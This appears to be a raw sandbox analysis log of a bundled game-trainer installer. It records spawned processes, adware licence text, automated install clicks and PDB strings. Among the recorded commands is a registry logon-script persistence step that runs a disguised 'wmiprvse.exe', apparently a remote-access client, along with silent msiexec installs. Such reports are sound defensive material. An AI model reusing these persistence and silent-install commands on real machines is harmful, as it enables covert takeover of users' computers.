Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Process created: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c start https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i^&c=5306757^&pl=0x03^&pb=1^&px=2598	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\expand.exe expand C:\Users\user\AppData\Local\Temp\is-J1954.tmp\{app}\aglwjhm.cab -F:* C:\ProgramData	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i&c=5306757&pl=0x03&pb=1&px=2598	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=1888,i,7072999325873136118,17384098712178890255,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 408DB6826F1036348B5DAAE317AF6166 C
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\system32\msiexec.exe" /i "C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Johan.msi" /qn CAMPAIGN=2598 AI_SETUPEXEPATH=C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe SETUPEXEDIR=C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1701870439 /qn CAMPAIGN=""2598"" " CAMPAIGN="2598
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 422D03AD2CDBB69F557E245BAEF1ACF7 C
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 6BF05F187B53BFBF47C225A377385DB6
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding BC9F21BCEFC691B566B836C637BCC195 E Global\MSI0000
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 408DB6826F1036348B5DAAE317AF6166 C
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 90A02CAD9630D51876E2B2B6E897E85F E Global\MSI0000
Source: C:\Windows\System32\msiexec.exe	Process created: unknown unknown
Source: C:\Windows\System32\msiexec.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Process created: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe C:\Windows\TEMP\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe" /install silentall "C:\Windows\TEMP\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.ini
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Process created: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe "C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe"
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Process created: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe "C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe"
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Process created: unknown unknown
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a3.exe	Process created: C:\Users\user\AppData\Local\Temp\1922353491.exe C:\Users\user\AppData\Local\Temp\1922353491.exe
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a3.exe	Process created: unknown unknown
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\system32\msiexec.exe" /i "C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504\System Updater.msi" AI_SETUPEXEPATH="C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe" SETUPEXEDIR="C:\ProgramData\AW Manager\Windows Manager\updates\v113\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1701870439 "
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.18.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.18.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.18.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.18.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.18.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.18.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe

File written: C:\Users\user\AppData\Local\AdvinstAnalytics\57bec79515c1ec525f8858bf\1.0.0\tracking.ini

Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp

Window found: window name: TMainForm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Automated click: I accept the agreement

Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp

File opened: C:\Windows\SysWOW64\MSFTEDIT.DLL

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Window detected: License AgreementPlease read the following important information before continuing.Please read the following License Agreement. You must accept the terms of this agreement before continuing with the installation.Welcome this is an important message and license agreement so please read all below carefully. river-city-rival-showdown-trainer-15-v1-8-.exe is financed by advertisement. By clicking Accept you will continue with the installation of river-city-rival-showdown-trainer-15-v1-8-.exe and the offers listed below.Inlog Browser is fast and secure web browser which does not collect your usage data.By clicking "Accept" I agree to the HYPERLINK "https://www.inlogbrowser.com/eula.txt"EULA HYPERLINK "https://www.inlogbrowser.com/pp.txt"Privacy Policy and consent to install Inlog Browser. This program can be removed at anytime in Windows Add/Remove Programs.your PC run like its brand new! Install Windows Manager the best utility for windows! Accept the HYPERLINK "https://advancedmanager.io/eula"EULA and HYPERLINK "https://advancedmanager.io/privacy-policy"Privacy Policy by pressing "Agree". A proxy service to protect your privacy. Accept the HYPERLINK "https://www.termsfeed.com/live/4bb495ca-d123-4f4d-a727-e9c4d0f3fabe"EULA by pressing "Agree". Optimized search feeds. By clicking "Accept" I agree to the HYPERLINK "http://www.thedownloadplanet.com/termsofuse"EULA and consent to install.an unparalleled gaming and browsing experience on mobile and desktop with OperaGX. Set limits on CPU RAM and Network usage use Discord & Twitch from the sidebar and connect mobile and desktop browsers with the file-sharing Flow feature. By clicking "Accept" I agree to the HYPERLINK "https://legal.opera.com/eula/computers/"EULA HYPERLINK "https://legal.opera.com/privacy/"Privacy Policy and consent to install.clicking "I Agree" you agree to the HYPERLINK "http://goo.gl/fxTiKZ"EULA and consent to install DotDo.proceeding with the installation you agree to the HYPERLINK "https://digitalpulsedata.com/tos"EULA grant Digital Pulse permission to occasionally utilize the available resources of your device and IP address to retrieve public web data from the Internet. Digital Pulse highly regards your trust and prioritizes safeguarding your privacy and personal data. To ensure your safety Digital Pulse comprehends the security implications involved in sharing your IP address and diligently monitors all network traffic. Your IP address will solely be used for authorized business purposes and never for unauthorized ones. Rest assured that none of your personal information will be accessed or collected except for your IP address. This is a strict policy.I &accept the agreementI &do not accept the agreement&NextCancel
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Window detected: License AgreementPlease read the following important information before continuing.Please read the following License Agreement. You must accept the terms of this agreement before continuing with the installation.Welcome this is an important message and license agreement so please read all below carefully. river-city-rival-showdown-trainer-15-v1-8-.exe is financed by advertisement. By clicking Accept you will continue with the installation of river-city-rival-showdown-trainer-15-v1-8-.exe and the offers listed below.Inlog Browser is fast and secure web browser which does not collect your usage data.By clicking "Accept" I agree to the HYPERLINK "https://www.inlogbrowser.com/eula.txt"EULA HYPERLINK "https://www.inlogbrowser.com/pp.txt"Privacy Policy and consent to install Inlog Browser. This program can be removed at anytime in Windows Add/Remove Programs.your PC run like its brand new! Install Windows Manager the best utility for windows! Accept the HYPERLINK "https://advancedmanager.io/eula"EULA and HYPERLINK "https://advancedmanager.io/privacy-policy"Privacy Policy by pressing "Agree". A proxy service to protect your privacy. Accept the HYPERLINK "https://www.termsfeed.com/live/4bb495ca-d123-4f4d-a727-e9c4d0f3fabe"EULA by pressing "Agree". Optimized search feeds. By clicking "Accept" I agree to the HYPERLINK "http://www.thedownloadplanet.com/termsofuse"EULA and consent to install.an unparalleled gaming and browsing experience on mobile and desktop with OperaGX. Set limits on CPU RAM and Network usage use Discord & Twitch from the sidebar and connect mobile and desktop browsers with the file-sharing Flow feature. By clicking "Accept" I agree to the HYPERLINK "https://legal.opera.com/eula/computers/"EULA HYPERLINK "https://legal.opera.com/privacy/"Privacy Policy and consent to install.clicking "I Agree" you agree to the HYPERLINK "http://goo.gl/fxTiKZ"EULA and consent to install DotDo.proceeding with the installation you agree to the HYPERLINK "https://digitalpulsedata.com/tos"EULA grant Digital Pulse permission to occasionally utilize the available resources of your device and IP address to retrieve public web data from the Internet. Digital Pulse highly regards your trust and prioritizes safeguarding your privacy and personal data. To ensure your safety Digital Pulse comprehends the security implications involved in sharing your IP address and diligently monitors all network traffic. Your IP address will solely be used for authorized business purposes and never for unauthorized ones. Rest assured that none of your personal information will be accessed or collected except for your IP address. This is a strict policy.I &accept the agreementI &do not accept the agreement&NextCancel

Source: ZmWSzgevgt.exe

Static file information: File size 1671954 > 1048576

Source: C:\Windows\SysWOW64\expand.exe

File opened: C:\ProgramData\regid.1993-06.com.microsoft\msvcr100.dll

Jump to behavior

Source: ZmWSzgevgt.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: wininet.pdb source: a1.exe, 00000015.00000003.2997075396.000000000544D000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3218080442.0000000002763000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3420901306.00000000023B3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\stubs\x86\Decoder.pdb source: v113.exe, 00000022.00000003.3198408552.00000000011ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\stubs\x86\Decoder.pdb2 source: v113.exe, 00000022.00000003.3198408552.00000000011ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\bin\x86\embeddeduiproxy.pdb source: v113.exe, 00000022.00000003.3201994608.00000000027E9000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1402\1402\client32\release_unicode\client32.pdb source: wmiprvse.exe, 0000000F.00000000.2909427873.00000000003E2000.00000002.00000001.01000000.00000011.sdmp, wmiprvse.exe, 0000000F.00000002.3910783997.00000000003E2000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\Prereq.pdbo source: a1.exe, 00000015.00000003.2977076437.00000000055E0000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\AICustAct.pdb source: a1.exe, 00000015.00000003.2977076437.0000000005440000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp, MSIDA82.tmp.22.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\SoftwareDetector.pdb source: v113.exe, 00000022.00000003.3201994608.00000000024D0000.00000004.00001000.00020000.00000000.sdmp, System Updater.msi.34.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\ShortcutFlags.pdb source: v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, MSIA81C.tmp.22.dr, System Updater.msi.34.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\SoftwareDetector.pdb\ source: v113.exe, 00000022.00000003.3201994608.00000000024D0000.00000004.00001000.00020000.00000000.sdmp, System Updater.msi.34.dr
Source:	Binary string: C:\JobRelease\win\Release\stubs\x86\ExternalUi.pdbh source: v113.exe, 00000022.00000000.3195293895.0000000000918000.00000002.00000001.01000000.00000023.sdmp, v113.exe, 00000022.00000002.3397727474.0000000000918000.00000002.00000001.01000000.00000023.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdb source: v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, System Updater.msi.34.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\ShortcutFlags.pdb: source: v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, MSIA81C.tmp.22.dr, System Updater.msi.34.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: wmiprvse.exe, 0000000F.00000002.3928160512.0000000011194000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: C:\JobRelease\win\Release\stubs\x86\ExternalUi.pdb source: v113.exe, 00000022.00000000.3195293895.0000000000918000.00000002.00000001.01000000.00000023.sdmp, v113.exe, 00000022.00000002.3397727474.0000000000918000.00000002.00000001.01000000.00000023.sdmp
Source:	Binary string: msvcr100.i386.pdb source: wmiprvse.exe, 0000000F.00000002.3930679110.000000006BF01000.00000020.00000001.01000000.00000015.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\Prereq.pdb source: a1.exe, 00000015.00000003.2977076437.00000000055E0000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\SoftwareDetector.pdbb source: a1.exe, 00000015.00000003.2977076437.0000000005440000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.0000000002120000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\bin\x86\embeddeduiproxy.pdb source: a1.exe, 00000015.00000003.2977076437.0000000005775000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980614290.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000249D000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\lzmaextractor.pdb source: a1.exe, 00000015.00000003.2977076437.0000000005440000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.0000000002120000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\SoftwareDetector.pdb source: a1.exe, 00000015.00000003.2977076437.0000000005440000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.0000000002120000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\aischeduler.pdb source: v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, System Updater.msi.34.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\Full\pcichek.pdb source: wmiprvse.exe, 0000000F.00000002.3931295229.000000006BFE2000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: wininet.pdbUGP source: a1.exe, 00000015.00000003.2997075396.000000000544D000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3218080442.0000000002763000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3420901306.00000000023B3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\stubs\x86\Decoder.pdb5 source: a1.exe, 00000015.00000003.2970429698.0000000000FF0000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3406051593.0000000000E84000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: wmiprvse.exe, 0000000F.00000002.3929791609.000000006B8D0000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\InstallerAnalytics.pdb source: v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000002.3399781622.0000000069E9C000.00000002.00000001.01000000.00000025.sdmp, MSIF244.tmp.22.dr, System Updater.msi.34.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdbP source: wmiprvse.exe, 0000000F.00000002.3930452953.000000006BD1E000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: E:\jenkins\workspace\ktop-agent_release_PDFY23FEB_1.0\target\Windows\x64\bin\Release\Setup\ODISSDK.pdb source: a0.tmp, 00000008.00000003.2910112115.0000000005851000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdbg source: v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, System Updater.msi.34.dr
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\DataUploader.pdb source: a1.exe, 00000015.00000003.2977076437.0000000005775000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: wmiprvse.exe, 0000000F.00000002.3928160512.0000000011194000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: wmiprvse.exe, 0000000F.00000002.3929791609.000000006B8D0000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\DataUploader.pdb] source: a1.exe, 00000015.00000003.2977076437.0000000005775000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\InstallerAnalytics.pdbu source: v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000002.3399781622.0000000069E9C000.00000002.00000001.01000000.00000025.sdmp, MSIF244.tmp.22.dr, System Updater.msi.34.dr
Source:	Binary string: D:\ReleaseJob\win\Release\stubs\x86\Decoder.pdb source: a1.exe, 00000015.00000003.2970429698.0000000000FF0000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3406051593.0000000000E84000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\ShortcutFlags.pdb> source: v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\aischeduler2.pdb source: v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, MSIF323.tmp.22.dr, System Updater.msi.34.dr
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\ShortcutFlags.pdb source: v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\Prereq.pdb source: v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, System Updater.msi.34.dr
